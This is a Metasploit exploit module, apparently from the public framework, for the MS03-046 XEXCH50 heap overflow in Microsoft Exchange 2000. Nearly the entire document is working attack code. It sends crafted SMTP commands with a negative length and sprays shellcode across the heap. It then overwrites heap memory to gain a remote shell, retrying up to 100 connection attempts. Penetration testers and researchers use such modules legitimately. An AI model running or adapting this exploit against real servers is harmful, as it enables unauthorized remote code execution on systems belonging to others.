MS03-046 Exchange 2000 XEXCH50 Heap Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',
      'Description'    => %q{
          This is an exploit for the Exchange 2000 heap overflow. Due
        to the nature of the vulnerability, this exploit is not very
        reliable. This module has been tested against Exchange 2000
        SP0 and SP3 running a Windows 2000 system patched to SP4. It
        normally takes between one and 100 connection attempts to
        successfully obtain a shell. This exploit is *very* unreliable.
      },
      'Author'         =>
        [
          'hdm', # original module
          'aushack', # msf3 port :)
        ],
      'References'     =>
        [
          [ 'CVE', '2003-0714' ],
          [ 'BID', '8838' ],
          [ 'OSVDB', '2674' ],
          [ 'MSB', 'MS03-046' ],
          [ 'EDB', '113' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Platform'       => 'win',
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2003-10-15'))

    register_options(
      [
        Opt::RPORT(25),
        OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', '[email protected]']),
        OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),
        OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),
      ])
  end

  def check
    connect
    banner = sock.get_once || ''

    if (banner !~ /Microsoft/)
      print_status("Target does not appear to be an Exchange server.")
      return Exploit::CheckCode::Safe
    end

    sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")
    res = sock.get_once || ''
    if (res !~ /XEXCH50/)
      print_status("Target does not appear to be an Exchange server.")
      return Exploit::CheckCode::Safe
    end
    sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
    res = sock.get_once || ''

    if (res =~ /Sender OK/)
      sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
      res = sock.get_once || ''
      if (res =~ /250/)
        sock.put("XEXCH50 2 2\r\n")
        res = sock.get_once || ''
        if (res !~ /Send binary data/)
          print_error("Target has been patched!")
          return Exploit::CheckCode::Detected
        else
          return Exploit::CheckCode::Appears
        end
      end
    end

    disconnect
  end

  def smtp_setup(count)
    print_status("Exploit attempt ##{count}")

    connect
    select(nil,nil,nil,1)
    banner = sock.get_once || ''
    print_status("Connected to SMTP server: #{banner.to_s}")

    if (banner !~ /Microsoft/)
      print_status("Target does not appear to be running Exchange.")
      return
    end

    select(nil,nil,nil,5)
    sock.put("EHLO X\r\n")
    select(nil,nil,nil,7)
    res = sock.get_once || ''

    if (res !~ /XEXCH50/)
      print_status("Target is not running Exchange.")
      return
    end

    sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
    select(nil,nil,nil,3)

    sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
    select(nil,nil,nil,3)

  end

  def exploit
    bufflen = target['BuffLen']
    print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])
    count = 1 # broke

    begin
      if (count > datastore['ATTEMPTS'])
        print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")
        return # Stop after a specified number of attempts.
      end

      if (session_created?)
        return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.
      end

      while(true)
        if (smtp_setup(count))
          print_status("Connection 1: ")
        end

        sock.put("XEXCH50 2 2\r\n")
        select(nil,nil,nil,3)
        res = sock.get_once
        print_status("#{res}")
        if (res !~ /Send binary data/)
          print_status("Target is not vulnerable.")
          return # commented out for the moment
        end

        sock.put("XX")

        print_status("ALLOC")

        size = 1024 * 1024 * 32

        sock.put("XEXCH50 #{size} 2\r\n")
        select(nil,nil,nil,3)

        sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"

        print_status("Uploading shellcode to remote heap.")

        if (sock.put(sploit))
          print_status("\tOK.")
        end

        print_status("Connection 2: ")
        smtp_setup(count) # Connection 2

        sock.put("XEXCH50 -1 2\r\n") # Allocate negative value
        select(nil,nil,nil,2)
        res = sock.get_once || ''

        if (!res)
          print_error("Error - no response")
        end

        print_status("OK")

        bufflen += target['Offset2']

        if (bufflen > target['Offset1'])
          bufflen = target['BuffLen']
        end

        heapover = [target['Ret']].pack('V') * bufflen
        print_status("Overwriting heap with payload jump (#{bufflen})")
        sock.put(heapover)

        print_status("Starting reconnect sequences...")

        10.times do |x|
          print_status("Connect #{x}")
          connect
          sock.put("HELO X\r\n")
          disconnect
        end
      end

    rescue
      print_status("Unable to connect or Exchange has crashed... Retrying.")
      count += 1
      retry
    end

    disconnect
  end
end